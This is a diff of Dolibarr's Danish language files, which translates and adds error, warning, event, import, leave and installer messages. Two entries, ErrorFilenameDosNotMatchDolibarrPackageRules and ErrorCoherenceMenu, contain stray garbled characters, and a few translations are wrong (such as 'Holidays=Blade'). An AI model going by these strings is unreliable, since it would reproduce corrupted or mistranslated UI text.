into a new shipment. -ErrorStockIsNotEnoughToAddProductOnProposal=Stock is not enough for product %s to add it into a new proposal. -ErrorFailedToLoadLoginFileForMode=Failed to get the login key for mode '%s'. -ErrorModuleNotFound=File of module was not found. -ErrorFieldAccountNotDefinedForBankLine=Value for Accounting account not defined for source line id %s (%s) -ErrorFieldAccountNotDefinedForInvoiceLine=Value for Accounting account not defined for invoice id %s (%s) +ErrorsThirdpartyMerge=Kunne ikke flette de to poster. Anmodning annulleret. +ErrorStockIsNotEnoughToAddProductOnOrder=Lagerbeholdning er ikke nok til at produkt %s kan tilføje det til en ny ordre. +ErrorStockIsNotEnoughToAddProductOnInvoice=Lagerbeholdning er ikke nok til, at produkt %s kan tilføje det til en ny faktura. +ErrorStockIsNotEnoughToAddProductOnShipment=Lager er ikke nok til at produkt %s kan tilføje det til en ny forsendelse. +ErrorStockIsNotEnoughToAddProductOnProposal=Lager er ikke nok til at produkt %s kan tilføje det i et nyt forslag. +ErrorFailedToLoadLoginFileForMode=Kunne ikke hente login-nøglen til tilstanden '%s'. +ErrorModuleNotFound=Modulets fil blev ikke fundet. +ErrorFieldAccountNotDefinedForBankLine=Værdi for regnskabskonto ikke defineret for kildelinje-id %s (%s) +ErrorFieldAccountNotDefinedForInvoiceLine=Værdi for regnskabskonto ikke defineret for faktura-id %s (%s) ErrorFieldAccountNotDefinedForLine=Værdi for regnskabskonto ikke defineret for linjen (%s) -ErrorBankStatementNameMustFollowRegex=Error, bank statement name must follow the following syntax rule %s -ErrorPhpMailDelivery=Check that you don't use a too high number of recipients and that your email content is not similar to a Spam. Ask also your administrator to check firewall and server logs files for a more complete information. -ErrorUserNotAssignedToTask=User must be assigned to task to be able to enter time consumed. -ErrorTaskAlreadyAssigned=Task already assigned to user -ErrorModuleFileSeemsToHaveAWrongFormat=The module package seems to have a wrong format. +ErrorBankStatementNameMustFollowRegex=Fejl, navn på kontoudtog skal følge følgende syntaksregel %s +ErrorPhpMailDelivery=Tjek, at du ikke bruger et for højt antal modtagere, og at dit e-mailindhold ikke ligner spam. Bed også din administrator om at kontrollere firewall- og serverlogfilerne for at få mere fuldstændig information. +ErrorUserNotAssignedToTask=Bruger skal tildeles opgave for at kunne indtaste tidsforbrug. +ErrorTaskAlreadyAssigned=Opgaven er allerede tildelt brugeren +ErrorModuleFileSeemsToHaveAWrongFormat=Modulpakken ser ud til at have et forkert format. ErrorModuleFileSeemsToHaveAWrongFormat2=Der skal mindst findes et obligatorisk bibliotek i zip modulet: %s eller %s -ErrorFilenameDosNotMatchDolibarrPackageRules=The name of the module package (%s) does not match expected name syntax: %s -ErrorDuplicateTrigger=Error, duplicate trigger name %s. Already loaded from %s. -ErrorNoWarehouseDefined=Error, no warehouses defined. -ErrorBadLinkSourceSetButBadValueForRef=The link you use is not valid. A 'source' for payment is defined, but value for 'ref' is not valid. +ErrorFilenameDosNotMatchDolibarrPackageRules=Navnet på modulpakken ( %s ) stemmer ikke overens med forventet navnesyntaks: %s 9z0 a010z0 +ErrorDuplicateTrigger=Fejl, dubleret triggernavn %s. Allerede indlæst fra %s. +ErrorNoWarehouseDefined=Fejl, ingen varehuse defineret. +ErrorBadLinkSourceSetButBadValueForRef=Linket du bruger er ikke gyldigt. En 'kilde' til betaling er defineret, men værdien for 'ref' er ikke gyldig. ErrorTooManyErrorsProcessStopped=For mange fejl. Processen blev stoppet. ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Massbekræftelse er ikke mulig, når indstillingen for at øge/reducere lager er indstillet på denne handling (du skal bekræfte en for en, så du kan definere lageret for at øge / formindske) ErrorObjectMustHaveStatusDraftToBeValidated=Objekt %s skal have status 'Udkast', der skal bekræftes. @@ -228,7 +230,7 @@ ErrorFileNotFoundWithSharedLink=Filen blev ikke fundet. Det kan være, at dele n ErrorProductBarCodeAlreadyExists=Produktets stregkode %s eksisterer allerede på en anden produktreference. ErrorNoteAlsoThatSubProductCantBeFollowedByLot=Bemærk også, at det ikke er muligt at bruge sæt til automatisk forøgelse / formindskelse af underprodukter, når mindst et underprodukt (eller underprodukt af underprodukter) har brug for et serienummer / lotnummer. ErrorDescRequiredForFreeProductLines=Beskrivelse er obligatorisk for linjer med gratis produkt -ErrorAPageWithThisNameOrAliasAlreadyExists=Siden / beholderen %s har samme navn eller alternativt alias som den, du forsøger at bruge +ErrorAPageWithThisNameOrAliasAlreadyExists=Siden / beholderen %s har samme navn eller alternativt alias som den, du forsøger at bruge ErrorDuringChartLoad=Fejl ved indlæsning af kontoplan. Hvis nogle konti ikke blev indlæst, kan du stadig indtaste dem manuelt. ErrorBadSyntaxForParamKeyForContent=Dårlig syntaks for parameternøgleindhold. Skal have en værdi, der starter med %s eller %s ErrorVariableKeyForContentMustBeSet=Fejl, konstanten med navn %s(med tekstindhold, der skal vises) eller %s(med ekstern url til at vises) skal sættes. @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objekter skal have status 'Aktiv' fo ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objekter skal have status 'Udkast' eller 'Deaktiveret' for at være aktiveret ErrorNoFieldWithAttributeShowoncombobox=Ingen felter har egenskaben 'showoncombobox' til definition af objektet '%s'. Ingen måde at vise kombinationen på. ErrorFieldRequiredForProduct=Felt '%s' kræves for produktet %s +AlreadyTooMuchPostOnThisIPAdress=Du har allerede skrevet for meget på denne IP-adresse. ProblemIsInSetupOfTerminal=Problemet er ved opsætning af terminalen %s. ErrorAddAtLeastOneLineFirst=Tilføj mindst en linje først ErrorRecordAlreadyInAccountingDeletionNotPossible=Fejl, posten er allerede overført i regnskab, sletning er ikke mulig. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Fejl, parameter %s skal a ErrorLoginDateValidity=Fejl, dette login er uden for gyldighedsdatointervallet ErrorValueLength=Feltets længde ' %s ' skal være højere end ' %s ' ErrorReservedKeyword=Ordet ' %s ' er et forbeholdt nøgleord +ErrorFilenameReserved=Filnavnet %s kan ikke bruges, da det er en reserveret og beskyttet kommando. ErrorNotAvailableWithThisDistribution=Ikke tilgængelig med denne distribution ErrorPublicInterfaceNotEnabled=Offentlig grænseflade var ikke aktiveret ErrorLanguageRequiredIfPageIsTranslationOfAnother=Sprog for den nye side skal defineres, hvis det er indstillet som en oversættelse af en anden side @@ -277,8 +281,8 @@ ErrorWrongFileName=Filens navn kan ikke indeholde __SOMETHING__ ErrorNotInDictionaryPaymentConditions=Ikke i ordbogen om betalingsbetingelser, bedes du ændre. ErrorIsNotADraft=%s er ikke et udkast ErrorExecIdFailed=Kan ikke udføre kommandoen "id" -ErrorBadCharIntoLoginName=Ikke godkendt tegn i login-navnet -ErrorRequestTooLarge=Fejl, anmodningen er for stor +ErrorBadCharIntoLoginName=Uautoriseret tegn i feltet %s +ErrorRequestTooLarge=Fejl, anmodningen er for stor, eller sessionen er udløbet ErrorNotApproverForHoliday=Du er ikke godkender for orlov %s ErrorAttributeIsUsedIntoProduct=Denne attribut bruges i en eller flere produktvarianter ErrorAttributeValueIsUsedIntoProduct=Denne attributværdi bruges i en eller flere produktvarianter @@ -291,10 +295,25 @@ ErrorAjaxRequestFailed=Anmodningen mislykkedes ErrorThirpdartyOrMemberidIsMandatory=Tredjepart eller medlem af partnerskab er obligatorisk ErrorFailedToWriteInTempDirectory=Kunne ikke skrive i midlertidigt bibliotek ErrorQuantityIsLimitedTo=Mængden er begrænset til %s +ErrorFailedToLoadThirdParty=Kunne ikke finde/indlæse tredjepart fra id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Denne betalingsmetode er ikke en bankkonto +ErrorStripeCustomerNotFoundCreateFirst=Stripe-kunde er ikke indstillet til denne tredjepart (eller indstillet til en værdi slettet på Stripe-siden). Opret (eller vedhæft igen) det først. +ErrorCharPlusNotSupportedByImapForSearch=IMAP-søgning er ikke i stand til at søge i afsender eller modtager efter en streng, der indeholder tegnet + +ErrorTableNotFound=Tabel %s blev ikke fundet +ErrorValueForTooLow=Værdien for %s er for lav +ErrorValueCantBeNull=Værdien for %s kan ikke være 0 +ErrorDateOfMovementLowerThanDateOfFileTransmission=Datoen for banktransaktionen må ikke være lavere end datoen for filoverførslen +ErrorTooMuchFileInForm=For mange filer i form, det maksimale antal er %s fil(er) +ErrorSessionInvalidatedAfterPasswordChange=Sessionen blev ugyldiggjort efter en ændring af adgangskode, status eller gyldighedsdatoer. Log venligst på igen. +ErrorExistingPermission = Tilladelse %s for objekt %s findes allerede +ErrorFieldExist=Værdien for %s findes allerede +ErrorEqualModule=Modul ugyldigt i %s +ErrorFieldValue=Værdien for %s er forkert +ErrorCoherenceMenu= %s er påkrævet, når %s a09a4b739f17left'0 er ' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Din PHP-parameter upload_max_filesize (%s) er højere end PHP-parameter post_max_size (%s). Dette er ikke en ensartet opsætning. -WarningPasswordSetWithNoAccount=A password was set for this member. However, no user account was created. So this password is stored but can't be used to login to Dolibarr. It may be used by an external module/interface but if you don't need to define any login nor password for a member, you can disable option "Manage a login for each member" from Member module setup. If you need to manage a login but don't need any password, you can keep this field empty to avoid this warning. Note: Email can also be used as a login if the member is linked to a user. +WarningPasswordSetWithNoAccount=Der blev angivet en adgangskode til dette medlem. Der blev dog ikke oprettet en brugerkonto. Så denne adgangskode er gemt, men kan ikke bruges til at logge ind på Dolibarr. Det kan bruges af et eksternt modul/interface, men hvis du ikke behøver at definere noget login eller adgangskode for et medlem, kan du deaktivere muligheden "Administrer et login for hvert medlem" fra medlemsmodulets opsætning. Hvis du har brug for at administrere et login, men ikke har brug for nogen adgangskode, kan du holde dette felt tomt for at undgå denne advarsel. Bemærk: E-mail kan også bruges som login, hvis medlemmet er knyttet til en bruger. WarningMandatorySetupNotComplete=Klik her for at indstille hovedparametre WarningEnableYourModulesApplications=Klik her for at aktivere dine moduler og applikationer WarningSafeModeOnCheckExecDir=Advarsel, PHP option safe_mode er på så kommandoen skal opbevares i en mappe angivet af php parameter safe_mode_exec_dir. @@ -304,17 +323,18 @@ WarningConfFileMustBeReadOnly=Advarsel, config fil (htdocs / conf / conf.php) WarningsOnXLines=Advarsler om %s kildelinjer WarningNoDocumentModelActivated=Ingen model til dokumentgenerering er blevet aktiveret. En model vælges som standard, indtil du tjekker din modulopsætning. WarningLockFileDoesNotExists=Advarsel, når installationen er afsluttet, skal du deaktivere installations- / migreringsværktøjerne ved at tilføje en fil install.lock i biblioteket%s. At udelade oprettelsen af denne fil er en alvorlig sikkerhedsrisiko. -WarningUntilDirRemoved=Alle sikkerhedsadvarsler (kun synlige for adminbrugere) forbliver aktive, så længe sårbarheden er til stede (eller den konstante MAIN_REMOVE_INSTALL_WARNING er tilføjet i Setup-> Other Setup). -WarningCloseAlways=Warning, closing is done even if amount differs between source and target elements. Enable this feature with caution. -WarningUsingThisBoxSlowDown=Warning, using this box slow down seriously all pages showing the box. +WarningUntilDirRemoved=Denne sikkerhedsadvarsel forbliver aktiv, så længe sårbarheden er til stede. +WarningCloseAlways=Advarsel, lukning udføres, selvom mængden er forskellig mellem kilde- og målelementer. Aktiver denne funktion med forsigtighed. +WarningUsingThisBoxSlowDown=Advarsel, brug af denne boks langsommere seriøst alle sider, der viser boksen. WarningClickToDialUserSetupNotComplete=Opsætning af ClickToDial-oplysninger til din bruger er ikke komplet (se fanen ClickToDial på dit brugerkort). -WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Feature disabled when display setup is optimized for blind person or text browsers. +WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs=Funktion deaktiveret, når skærmopsætning er optimeret til blinde personer eller tekstbrowsere. WarningPaymentDateLowerThanInvoiceDate=Betalingsdato (%s) er tidligere end faktura dato (%s) for faktura %s. -WarningTooManyDataPleaseUseMoreFilters=Too many data (more than %s lines). Please use more filters or set the constant %s to a higher limit. -WarningSomeLinesWithNullHourlyRate=Some times were recorded by some users while their hourly rate was not defined. A value of 0 %s per hour was used but this may result in wrong valuation of time spent. -WarningYourLoginWasModifiedPleaseLogin=Your login was modified. For security purpose you will have to login with your new login before next action. -WarningAnEntryAlreadyExistForTransKey=An entry already exists for the translation key for this language -WarningNumberOfRecipientIsRestrictedInMassAction=Advarsel, antallet af forskellige modtagere er begrænset til %s , når du bruger massehandlingerne på lister +WarningTooManyDataPleaseUseMoreFilters=For mange data (mere end %s linjer). Brug venligst flere filtre eller indstil konstanten %s til en højere grænse. +WarningSomeLinesWithNullHourlyRate=Nogle tidspunkter blev registreret af nogle brugere, mens deres timepris ikke var defineret. Der blev brugt en værdi på 0 %s pr. time, men dette kan resultere i forkert værdiansættelse af brugt tid. +WarningYourLoginWasModifiedPleaseLogin=Dit login blev ændret. Af sikkerhedsmæssige årsager skal du logge ind med dit nye login før næste handling. +WarningYourPasswordWasModifiedPleaseLogin=Din adgangskode blev ændret. Af sikkerhedsmæssige årsager skal du logge ind nu med din nye adgangskode. +WarningAnEntryAlreadyExistForTransKey=Der findes allerede en post for oversættelsesnøglen for dette sprog +WarningNumberOfRecipientIsRestrictedInMassAction=Advarsel, antallet af forskellige modtagere er begrænset til %s, når du bruger massehandlingerne på lister WarningDateOfLineMustBeInExpenseReportRange=Advarsel, datoen for linjen ligger ikke inden for udgiftsrapporten WarningProjectDraft=Projektet er stadig i kladdetilstand. Glem ikke at validere det, hvis du planlægger at bruge opgaver. WarningProjectClosed=Projektet er lukket. Du skal genåbne det først. @@ -326,11 +346,14 @@ WarningAvailableOnlyForHTTPSServers=Kun tilgængelig, hvis du bruger HTTPS-sikre WarningModuleXDisabledSoYouMayMissEventHere=Modul %s er ikke aktiveret. Så du går måske glip af en masse begivenheder her. WarningPaypalPaymentNotCompatibleWithStrict=Værdien 'Strict' gør, at onlinebetalingsfunktionerne ikke fungerer korrekt. Brug 'Lax' i stedet. WarningThemeForcedTo=Advarsel, temaet er blevet tvunget til %s af skjult konstant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Advarsel, dette vil også slette alle eksisterende sider/containere på hjemmesiden. Du bør eksportere dit websted før, så du har en sikkerhedskopi til at genimportere det senere. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatisk validering er deaktiveret, når muligheden for at reducere lager er indstillet på "Fakturavalidering". +WarningModuleNeedRefrech = Modul %s er blevet deaktiveret. Glem ikke at aktivere det # Validate RequireValidValue = Værdien er ikke gyldig RequireAtLeastXString = Kræver mindst %s karakter (er) -RequireXStringMax = Kræver maks. Tegn på %s +RequireXStringMax = Kræver maks. %s tegn RequireAtLeastXDigits = Kræver mindst %s ciffer (er) RequireXDigitsMax = Kræver %s ciffer (er) maks RequireValidNumeric = Kræver en numerisk værdi diff --git a/htdocs/langs/da_DK/eventorganization.lang b/htdocs/langs/da_DK/eventorganization.lang index caf0e3e0d1b..d6a594121db 100644 --- a/htdocs/langs/da_DK/eventorganization.lang +++ b/htdocs/langs/da_DK/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = I formularen til at oprette/tilføje en # Object # EventOrganizationConfOrBooth= Konference eller stand +EventOrganizationConfOrBoothes=Konferencer eller stande ManageOrganizeEvent = Administrer tilrettelæggelsen af en begivenhed ConferenceOrBooth = Konference eller stand ConferenceOrBoothTab = Konference eller stand @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Her kan du stemme på en konference eller fores EvntOrgRegistrationConfHelpMessage = Her kan du foreslå en ny konference for at animere under arrangementet. EvntOrgRegistrationBoothHelpMessage = Her kan du ansøge om at få en bod under arrangementet. ListOfSuggestedConferences = Liste over foreslåede konferencer -ListOfSuggestedBooths = Liste over foreslåede stand -ListOfConferencesOrBooths=Liste over konferencer eller boder med eventprojekt +ListOfSuggestedBooths=Foreslåede stande +ListOfConferencesOrBooths=Konferencer eller stande af eventprojekt SuggestConference = Foreslå en ny konference SuggestBooth = Foreslå en kabine ViewAndVote = Se og stem på foreslåede begivenheder PublicAttendeeSubscriptionGlobalPage = Offentligt link til registrering til arrangementet PublicAttendeeSubscriptionPage = Offentligt link til registrering til denne begivenhed MissingOrBadSecureKey = Sikkerhedsnøglen er ugyldig eller mangler -EvntOrgWelcomeMessage = Denne formular giver dig mulighed for at registrere dig som en ny deltager til begivenheden: %s +EvntOrgWelcomeMessage = Denne formular giver dig mulighed for at tilmelde dig som ny deltager til arrangementet EvntOrgDuration = Denne konference starter på %s og slutter på %s. ConferenceAttendeeFee = Konferencedeltagergebyr for begivenheden: '%s', der forekommer fra %s til %s. BoothLocationFee = Standplacering for begivenheden: '%s' der forekommer fra %s til %s @@ -132,7 +133,7 @@ LabelOfconference=Konference label ConferenceIsNotConfirmed=Tilmelding ikke tilgængelig, konference er ikke bekræftet endnu DateMustBeBeforeThan=%s skal være før %s DateMustBeAfterThan=%s skal være efter %s - +MaxNbOfAttendeesReached=Det maksimale antal deltagere er nået NewSubscription=Registrering OrganizationEventConfRequestWasReceived=Dit forslag til en konference er modtaget OrganizationEventBoothRequestWasReceived=Din anmodning om en bod er modtaget @@ -157,7 +158,7 @@ VoteOk = Din stemme er blevet accepteret. AlreadyVoted = Du har allerede stemt på denne begivenhed. VoteError = Der opstod en fejl under afstemningen. Prøv igen. -SubscriptionOk = Din registrering er valideret +SubscriptionOk=Din registrering er blevet registreret ConfAttendeeSubscriptionConfirmation = Bekræftelse af dit abonnement på en begivenhed Attendee = Deltager PaymentConferenceAttendee = Konference deltager betaling @@ -165,8 +166,11 @@ PaymentBoothLocation = Betaling af standplacering DeleteConferenceOrBoothAttendee=Fjern deltager RegistrationAndPaymentWereAlreadyRecorder=En registrering og en betaling blev allerede registreret for e -mailen %s EmailAttendee=E -mail til deltager +EmailCompany=Firma e-mail EmailCompanyForInvoice=Firmaets e -mail (for faktura, hvis den er forskellig fra deltagerens e -mail) ErrorSeveralCompaniesWithEmailContactUs=Flere virksomheder med denne e -mail er fundet, så vi kan ikke automatisk validere din registrering. Kontakt os venligst på %s for en manuel validering ErrorSeveralCompaniesWithNameContactUs=Flere virksomheder med dette navn er fundet, så vi kan ikke automatisk validere din registrering. Kontakt os venligst på %s for en manuel validering NoPublicActionsAllowedForThisEvent=Ingen offentlige handlinger er åbne for offentligheden for denne begivenhed MaxNbOfAttendees=Max antal deltagere +DateStartEvent=Begivenhedens startdato +DateEndEvent=Begivenheds slutdato diff --git a/htdocs/langs/da_DK/exports.lang b/htdocs/langs/da_DK/exports.lang index 5df2c640794..59fcbd6d319 100644 --- a/htdocs/langs/da_DK/exports.lang +++ b/htdocs/langs/da_DK/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Exportable felter ExportedFields=Eksporteres felter ImportModelName=Import Profilnavn ImportModelSaved=Importprofil gemt som %s . +ImportProfile=Import profil DatasetToExport=Datasæt til eksport DatasetToImport=Datasæt til at importere ChooseFieldsOrdersAndTitle=Vælg felter ordre ... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=Strækningstype (0= produkt, 1= tjeneste) FileWithDataToImport=Fil med data til at importere FileToImport=Kildefilen til at importere FileMustHaveOneOfFollowingFormat=Fil, der skal importeres, skal have et af følgende formater +DownloadEmptyExampleShort=Download en prøvefil DownloadEmptyExample=Download en skabelonfil med eksempler og information om felter, du kan importere StarAreMandatory=I skabelonfilen er alle felter med en * obligatoriske felter ChooseFormatOfFileToImport=Vælg det filformat, der skal bruges som importfilformat, ved at klikke på ikonet %s for at vælge det ... @@ -82,7 +84,7 @@ SelectFormat=Vælg denne import filformat RunImportFile=Importer data NowClickToRunTheImport=Kontroller resultaterne af importsimuleringen. Korrigér eventuelle fejl og genprøve.
      Når simuleringen rapporterer, er der ingen fejl, du kan fortsætte med at importere dataene til databasen. DataLoadedWithId=De importerede data har et ekstra felt i hver databasetabel med dette import-id :%s, for at tillade, at de kan søges i tilfælde af at undersøge et problem, der er relateret til denne import. -ErrorMissingMandatoryValue=Obligatoriske data er tomme i kildefilen for feltet %s . +ErrorMissingMandatoryValue=Obligatoriske data er tomme i kildefilen i kolonne %s. TooMuchErrors=Der er stadig %s andre kildelinjer med fejl, men output er begrænset. TooMuchWarnings=Der er stadig %s andre kildelinjer med advarsler, men output er begrænset. EmptyLine=Tom linje (vil blive kasseret) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Du kan finde alle de importerede poster i din data NbOfLinesOK=Antallet af linjer uden fejl og ingen advarsler: %s. NbOfLinesImported=Antallet af linjer med held importeret: %s. DataComeFromNoWhere=Værdi at indsætte kommer fra ingenting i kildefilen. -DataComeFromFileFieldNb=Værdi at indsætte kommer fra feltnummer %s i kildefilen. -DataComeFromIdFoundFromRef=Værdi, der kommer fra feltnummer %s af kildefilen, vil blive brugt til at finde id'et af det overordnede objekt, der skal bruges (så objektet %s , der har referencen fra kildefilen skal eksistere i databasen). -DataComeFromIdFoundFromCodeId=Kode, der kommer fra feltnummer %s af kildefilen, vil blive brugt til at finde identifikations-id'ets id, der skal bruges (så koden fra kildefilen skal eksistere i ordbogen %s ). Bemærk, at hvis du kender id, kan du også bruge det i kildefilen i stedet for koden. Importen skal fungere i begge tilfælde. +DataComeFromFileFieldNb=Værdien, der skal indsættes, kommer fra kolonne %s i kildefilen. +DataComeFromIdFoundFromRef=Værdien, der kommer fra kildefilen, vil blive brugt til at finde id'et for det overordnede objekt, der skal bruges (så objektet %s , der har ref. fra kildefilen, skal eksistere i databasen). +DataComeFromIdFoundFromCodeId=Værdien af kode, der kommer fra kildefilen, vil blive brugt til at finde id'et for det overordnede objekt, der skal bruges (så koden fra kildefilen skal findes i ordbogen %s ). Bemærk, at hvis du kender id'et, kan du også bruge det i kildefilen i stedet for koden. Import bør fungere i begge tilfælde. DataIsInsertedInto=Data kommer fra kildefilen vil blive indsat i følgende felt: DataIDSourceIsInsertedInto=Id'et for det overordnede objekt, der blev fundet ved hjælp af dataene i kildefilen, indsættes i følgende felt: DataCodeIDSourceIsInsertedInto=Id'et for den overordnede linje, der blev fundet fra kode, indsættes i følgende felt: @@ -132,9 +134,14 @@ FormatControlRule=Format control rule ## imports updates KeysToUseForUpdates=Nøgle (kolonne), der skal bruges til opdatering eksisterende data NbInsert=Number of inserted lines: %s +NbInsertSim=Antal linjer, der vil blive indsat: %s NbUpdate=Number of updated lines: %s +NbUpdateSim=Antal linjer, der vil blive opdateret: %s MultipleRecordFoundWithTheseFilters=Multiple records have been found with these filters: %s StocksWithBatch=Lager og placering (lager) af produkter med batch / serienummer WarningFirstImportedLine=Den eller de første linjer vil ikke blive importeret med det aktuelle valg NotUsedFields=Felter i databasen er ikke brugt SelectImportFieldsSource = Vælg de kildefil felter, du vil importere, og deres målfelt i databasen ved at vælge felterne i hvert udvalgte felt, eller vælg en foruddefineret importprofil: +MandatoryTargetFieldsNotMapped=Nogle obligatoriske målfelter er ikke forbundet +AllTargetMandatoryFieldsAreMapped=Alle målfelter, der skal have en obligatorisk værdi, er forbundet +ResultOfSimulationNoError=Resultat af simulering: Ingen fejl diff --git a/htdocs/langs/da_DK/holiday.lang b/htdocs/langs/da_DK/holiday.lang index b9168e3dec9..584bc165a40 100644 --- a/htdocs/langs/da_DK/holiday.lang +++ b/htdocs/langs/da_DK/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Ferie/Fravær +Holidays=Blade +Holiday=Ferie/Fravær CPTitreMenu=Ferie/Fravær MenuReportMonth=Månedlig opgørelse MenuAddCP=Ny forespørgsel +MenuCollectiveAddCP=Ny kollektiv fraværssanmodning NotActiveModCP=Du skal aktivere modulet Ferie/Fravær for at se denne side. AddCP=Lav en forespørgsel DateDebCP=Startdato @@ -56,6 +58,7 @@ ConfirmDeleteCP=Bekræft sletning af denne forespørgsel? ErrorCantDeleteCP=Fejl, du har ikke rettigheder til at slette denne forespørgsel. CantCreateCP=Du har ikke rettigheder til at lave denne forespørgsel. InvalidValidatorCP=Du skal vælge godkenderen til din fraværsforespørgsel. +InvalidValidator=Den valgte bruger kan ikke godkende. NoDateDebut=Du skal vælge en startdato. NoDateFin=Du skal vælge en slutdato. ErrorDureeCP=Din forespørgsel indeholder ikke en arbejdsdag. @@ -79,6 +82,8 @@ MotifCP=Årsag UserCP=Bruger ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup="Gruppe"-feltet eller "bruger"-feltet skal udfyldes +fusionGroupsUsers=Gruppefeltet og brugerfeltet vil blive flettet MenuLogCP=View change logs LogCP=Log over alle opdateringer til "Status af Fraværsdage" ActionByCP=Opdateret af @@ -86,10 +91,17 @@ UserUpdateCP=Opdateret til PrevSoldeCP=Foregående Balance NewSoldeCP=Ny Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=Der er allerede lavet en fraværssanmodning på denne periode for %s. +groups=Grupper +users=Brugere +AutoSendMail=Automatisk forsendelse +NewHolidayForGroup=Ny kollektiv fraværssanmodning +SendRequestCollectiveCP=Send kollektiv fraværssanmodning +AutoValidationOnCreate=Automatisk validering FirstDayOfHoliday=Begyndelsesdag for orlovsanmodning LastDayOfHoliday=Afslutningsdag for orlovsanmodning BoxTitleLastLeaveRequests=Latest %s modified leave requests -HolidaysMonthlyUpdate=Monthly update +HolidaysMonthlyUpdate=Månedlig opdatering ManualUpdate=Manual update HolidaysCancelation=Fraværs anmodning annullering EmployeeLastname=Medarbejderens efternavn @@ -101,7 +113,7 @@ HalfDay=Halv dag NotTheAssignedApprover=Du er ikke den tildelte godkender LEAVE_PAID=Betalt fravær LEAVE_SICK=Sygefravær -LEAVE_OTHER=Anden fravær +LEAVE_OTHER=Andet fravær LEAVE_PAID_FR=Betalt fravær ## Configuration du Module ## LastUpdateCP=Sidste automatiske opdatering af orlovstildeling @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s er sædvanligvis en IKKE arbejdsdag BlockHolidayIfNegative=Bloker hvis saldoen er negativ LeaveRequestCreationBlockedBecauseBalanceIsNegative=Oprettelsen af denne orlovsanmodning er blokeret, fordi din saldo er negativ ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Efter lad spørgsmål %s skal være udkast, annulleret eller nægtet at blive slettet +IncreaseHolidays=Forøg ferie +HolidayRecordsIncreased= %s ferierekorder steg +HolidayRecordIncreased=Ferierekord steg +ConfirmMassIncreaseHoliday=Masseferiestigning +NumberDayAddMass=Antal dage, der skal føjes til udvalget +ConfirmMassIncreaseHolidayQuestion=Er du sikker på, at du vil øge ferien for de(n) valgte post(er) %s? +HolidayQtyNotModified=Saldo af resterende dage for %s er ikke blevet ændret diff --git a/htdocs/langs/da_DK/install.lang b/htdocs/langs/da_DK/install.lang index 93502365f83..02c92f58ca4 100644 --- a/htdocs/langs/da_DK/install.lang +++ b/htdocs/langs/da_DK/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=PHP-versionen er for gammel. Version %s eller nyere er på ErrorPHPVersionTooHigh=PHP-versionen er for høj. Version %s eller lavere er påkrævet. ErrorConnectedButDatabaseNotFound=Forbindelsen til serveren lykkedes, men databasen '%s' blev ikke fundet. ErrorDatabaseAlreadyExists=Databasen '%s' eksisterer allerede. +ErrorNoMigrationFilesFoundForParameters=Der blev ikke fundet nogen migreringsfil for de valgte versioner IfDatabaseNotExistsGoBackAndUncheckCreate=Hvis databasen ikke eksisterer, skal du gå tilbage og markere "Opret database". IfDatabaseExistsGoBackAndCheckCreate=Hvis databasen allerede eksisterer, skal du gå tilbage og fjerne markeringen i "Opret database". WarningBrowserTooOld=Versionen af browseren er for gammel. Det anbefales at opgradere din browser til en nyere version af Firefox, Chrome eller Opera. @@ -50,7 +51,6 @@ DatabaseName=Database navn DatabasePrefix=Database tabel præfiks DatabasePrefixDescription=Database tabel præfiks. Hvis tom, er standardindstillingen llx_. AdminLogin=Brugerkonto for Dolibarr-database ejer. -PasswordAgain=Indtast adgangskodebekræftelse igen AdminPassword=Adgangskode til Dolibarr database ejer. CreateDatabase=Opret database CreateUser=Opret brugerkonto eller giv brugerkonto tilladelse til Dolibarr databasen @@ -88,7 +88,7 @@ LoginAlreadyExists=Eksisterer allerede DolibarrAdminLogin=Dolibarr admin login AdminLoginAlreadyExists=Dolibarr-administratorkontoen '%s' findes allerede. Gå tilbage, hvis du vil oprette en anden. FailedToCreateAdminLogin=Failed to create Dolibarr administrator account. -WarningRemoveInstallDir=Advarsel, af sikkerhedsmæssige årsager, når installationen eller opgraderingen er fuldført, bør du tilføje en fil kaldet install.lock i Dolibarr-dokumentbiblioteket for at forhindre utilsigtet/ondsindet brug af installationsværktøjerne igen. +WarningRemoveInstallDir=Advarsel, af sikkerhedsmæssige årsager, når installationsprocessen er færdig, skal du tilføje en fil kaldet install.lock i Dolibarr-dokumentbiblioteket for at forhindre utilsigtet/ondsindet brug af installationsværktøjerne igen. FunctionNotAvailableInThisPHP=Ikke tilgængelig i denne PHP ChoosedMigrateScript=Vælg migreringsscript DataMigration=Databasemigration (data) @@ -208,7 +208,12 @@ HideNotAvailableOptions=Skjul utilgængelige muligheder ErrorFoundDuringMigration=Fejl (er) blev rapporteret under migrationsprocessen, så næste trin er ikke tilgængeligt. For at ignorere fejl kan du klikke her , men programmet eller nogle funktioner fungerer muligvis ikke korrekt, før fejlene er løst. YouTryInstallDisabledByDirLock=Programmet forsøgte at opgradere selv, men installerings- / opgraderingssiderne er blevet deaktiveret for sikkerhed (mappen omdøbes med .lock-suffix).
      YouTryInstallDisabledByFileLock=Programmet forsøgte at opgradere selv, men installerings- / opgraderingssiderne er blevet deaktiveret for sikkerhed (ved at der findes en låsfil install.lock i dolibarr-dokumenter-mappen).
